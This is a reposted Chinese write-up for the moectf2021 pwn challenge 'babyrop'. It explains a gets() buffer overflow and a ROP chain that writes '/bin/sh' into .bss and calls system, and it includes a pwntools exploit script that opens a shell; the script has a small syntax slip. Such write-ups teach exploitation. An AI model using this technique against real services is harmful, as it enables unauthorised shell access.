moectf2021新生赛>>pwn>>babyrop


moectf2021新生赛>>pwn>>babyrop

  题目名:babyrop

  WriteUp:

  首先checksec 

  

 

 

  IDA分析

  

 

 

    

 

 

 

 

   找到gets漏洞点,system的plt,产生利用rop构造参数来getshell的思路,但是无法直接从二进制文件中直接找到。

  这里想到2个办法1是ret2libc,暂且先不提,2是利用gets函数往.bss段内存写入参数"/bin/sh",来制造参数

 

  常规方法利用工具ROPgadgets构建ROPchain,但是这里可以直接利用栈结构来一步到位getshell

  

 

 得出exp,如下:

  

from pwn import *
context.log_level = 'debug'

mode = 1
ip = ''
port = ''

binsh_offset = 0x17e0af
gets_plt = 0x08048380
libcmain_addr = 0x804A018
bss_addr = 0x804A028
system_plt = 0x80483A0

payload = 'a' * 0x2c + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr)

if mode == 1
    p = process("./babyrop")
    #gdb.attach(p,"b *0x08048380")
else:
    p = remote(ip,port)


p.sendlineafter("advise?",payload)

p.send("/bin/sh\n")

p.interactive()
    

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM